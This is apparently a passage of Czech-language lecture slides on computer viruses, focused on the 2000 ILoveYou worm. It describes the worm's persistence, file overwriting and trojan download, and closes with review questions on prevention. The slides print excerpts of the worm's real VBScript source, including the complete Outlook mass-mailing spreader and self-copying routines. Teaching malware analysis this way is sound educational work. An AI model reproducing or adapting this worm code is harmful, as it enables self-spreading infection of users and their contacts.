HKLM\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32
HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL
tak, aby se virus aktivoval při každém spuštění
počítače
• ve složce C:\WINDOWS\SYSTEM pak vytvoří soubory
MSKERNEL32.VBS a Win32DLL.VBS
• na pevných i síťových discích vyhledává soubory
s příponami VBS, VBE, JS, JSE, CSS, WSH, SCT, HTA,
jejichž obsah přepíše svým tělem a příponu změní
na VBS
• v případě souborů JPG a JPEG se přepíše obsah
a k původní příponě se doplní navíc VBS
• obsah souborů MP2 a MP3 zůstává ušetřen
Počítačový virus ILoveYou
87
• neexistuje-li soubor C:\WINDOWS\WINFAT32.EXE,
nastaví domovskou stránku Internet Exploreru tak,
aby ze serveru http://www.skyinet.net stahoval
soubor WIN-BUGSFIX.EXE, který obsahuje trojského
koně, jenž se usadí do souboru WINFAT32.EXE a snaží
se e-mailem odesílat určitá data (hesla, …)
• šíří se i prostřednictvím mIRC tak, že se virus rozešle
účastníkům kanálů, na kterých někdo z nakaženého
prostředí chatuje
• 4. května 2000 nakazil tento virus během několika
hodin milióny počítačů po celém světě a zasloužil
si tím pozornost médií
Počítačový virus ILoveYou
88
Ukázky zdrojového kódu (jazyk VBScript)
rem barok -loveletter(vbe) <i hate go to school>
rem by: spyder / [email protected] / @GRAMMERSoft Group / Manila,Philippines
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
set file = fso.OpenTextFile(WScript.ScriptFullname,1)
vbscopy=file.ReadAll
main()
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting 
Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting 
Host\Settings\Timeout",0,"REG_DWORD"
end if
pokračování …
89
Počítačový virus ILoveYou
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
end sub
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif (ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or
(ext="sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
...
… dokončení

Počítačový virus ILoveYou
90
Část zajišťující šíření viru e-mailem
sub spreadtoemail()
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\

WAB\"&malead)
pokračování …
Počítačový virus ILoveYou
91
if (regad="") then
… dokončení
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite

"HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,

a.AddressEntries.Count
else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,

a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
Literatura
92
• http://www.viry.cz
• Mrnuštík, J.: Viry 98 včetně makrovirů a antivirové
ochrany sítí. Grada Publishing, Praha 1998.
• Klander, L.: Hacker Proof. Unis Publishing, Brno 1998.
Kontrolní otázky
Srovnejte virus počítačový s virem biologickým.
Uveďte projevy počítačových virů.
Mohou současné počítačové viry poškodit technické
vybavení počítače?
Zůstane virus uložen v operační paměti počítače
i po jeho vypnutí?
Zůstane virus uložen na pevném disku počítače
i po jeho vypnutí?
Uveďte způsoby prevence proti počítačovým virům.
Uveďte klasifikaci počítačových virů podle napadených
oblastí.
Uveďte jednotlivé typy infiltrací počítačového systému
a stručně je charakterizujte.
93
Kontrolní otázky
94
K čemu slouží antivirové programy?
Jakým způsobem se šíří počítačové viry?
Proč se z hlediska prevence proti počítačovým virům
doporučuje změnit bootovací sekvenci na C:, A:? Proti
jakým virům se tímto způsobem můžeme ubránit?
Proč se z hlediska prevence proti počítačovým virům
doporučuje vypnout podporu WSH? Proti jakým virům
se tímto způsobem můžeme ubránit?
V čem spočívá činnost makrovirů?
Může se virus ILoveYou (Love Letter) šířit v prostředí
operačního systému MS-DOS nebo UNIX?
Je pravda, že se formátováním pevného disku vždy
odstraní všechny počítačové viry na něm uložené?
V čem spočívá nebezpečí virů přepisujících Flash-BIOS?
Descargar

Prezentace - zdenekjelinek.com